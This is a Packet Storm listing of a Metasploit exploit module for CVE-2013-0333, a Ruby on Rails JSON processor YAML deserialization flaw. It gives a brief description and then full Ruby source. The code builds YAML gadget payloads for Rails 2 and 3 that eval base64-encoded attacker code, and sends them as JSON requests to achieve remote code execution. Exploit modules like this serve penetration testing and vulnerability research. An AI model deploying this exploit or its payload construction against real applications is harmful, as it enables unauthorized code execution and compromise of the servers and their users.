Ruby on Rails JSON Processor YAML Deserialization Code Execution

[Praetorian503]

This Metasploit module exploits a remote code execution vulnerability in the JSON request processor of the Ruby on Rails application framework. This vulnerability allows an attacker to instantiate a remote object, which in turn can be used to execute any ruby code remotely in the context of the application. This vulnerability is very similar to CVE-2013-0156. This Metasploit module has been tested successfully on RoR 3.0.9, 3.0.19, and 2.3.15. The technique used by this module requires the target to be running a fairly recent version of Ruby 1.9 (since 2011 or so). Applications using Ruby 1.8 may still be exploitable using the init_with() method, but this has not been demonstrated.

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
#   http://metasploit.com/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::CmdStagerTFTP
  include Msf::Exploit::Remote::HttpClient

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'Ruby on Rails JSON Processor YAML Deserialization Code Execution',
      'Description'    => %q{
          This module exploits a remote code execution vulnerability in the
        JSON request processor of the Ruby on Rails application framework.
        This vulnerability allows an attacker to instantiate a remote object,
        which in turn can be used to execute any ruby code remotely in the
        context of the application. This vulnerability is very similar to
        CVE-2013-0156.

        This module has been tested successfully on RoR 3.0.9, 3.0.19, and
        2.3.15.

        The technique used by this module requires the target to be running a
        fairly recent version of Ruby 1.9 (since 2011 or so). Applications
        using Ruby 1.8 may still be exploitable using the init_with() method,
        but this has not been demonstrated.

      },
      'Author'         =>
        [
          'jjarmoc',  # Initial module based on cve-2013-0156, testing help
          'egypt',    # Module
          'lian',     # Identified the RouteSet::NamedRouteCollection vector
        ],
      'License'        => MSF_LICENSE,
      'References'  =>
        [
          ['CVE', '2013-0333'],
        ],
      'Platform'       => 'ruby',
      'Arch'           => ARCH_RUBY,
      'Privileged'     => false,
      'Targets'        =>  [ ['Automatic', {} ] ],
      'DisclosureDate' => 'Jan 28 2013',
      'DefaultOptions' => { "PrependFork" => true },
      'DefaultTarget' => 0))

    register_options(
      [
        Opt::RPORT(80),
        OptString.new('TARGETURI', [ true, 'The path to a vulnerable Ruby on Rails application', "/"]),
        OptString.new('HTTP_METHOD', [ true, 'The HTTP request method (GET, POST, PUT typically work)', "POST"])

      ], self.class)

  end

  #
  # Create the YAML document that will be embedded into the JSON
  #
  def build_yaml_rails2

    code = Rex::Text.encode_base64(payload.encoded)
    yaml =
      "--- !ruby/hash:ActionController::Routing::RouteSet::NamedRouteCollection\n" +
      "'#{Rex::Text.rand_text_alpha(rand(8)+1)}; " +
      "eval(%[#{code}].unpack(%[m0])[0]);' " +
      ": !ruby/object:ActionController::Routing::Route\n segments: []\n requirements:\n   " +
      ":#{Rex::Text.rand_text_alpha(rand(8)+1)}:\n     :#{Rex::Text.rand_text_alpha(rand(8)+1)}: " +
      ":#{Rex::Text.rand_text_alpha(rand(8)+1)}\n"
    yaml.gsub(':', '\u003a')
  end


  #
  # Create the YAML document that will be embedded into the JSON
  #
  def build_yaml_rails3

    code = Rex::Text.encode_base64(payload.encoded)
    yaml =
      "--- !ruby/hash:ActionDispatch::Routing::RouteSet::NamedRouteCollection\n" +
      "'#{Rex::Text.rand_text_alpha(rand(8)+1)};eval(%[#{code}].unpack(%[m0])[0]);' " +
      ": !ruby/object:OpenStruct\n table:\n  :defaults: {}\n"
    yaml.gsub(':', '\u003a')
  end

  def build_request(v)
    case v
    when 2; build_yaml_rails2
    when 3; build_yaml_rails3
    end
  end

  #
  # Send the actual request
  #
  def exploit

    [2, 3].each do |ver|
      print_status("Sending Railsv#{ver} request to #{rhost}:#{rport}...")
      send_request_cgi({
        'uri'     => normalize_uri(target_uri.path),
        'method'  => datastore['HTTP_METHOD'],
        'ctype'   => 'application/json',
        'headers' => { 'X-HTTP-Method-Override' => 'get' },
        'data'    => build_request(ver)
      }, 25)
      handler
    end

  end
end

Source: PacketStorm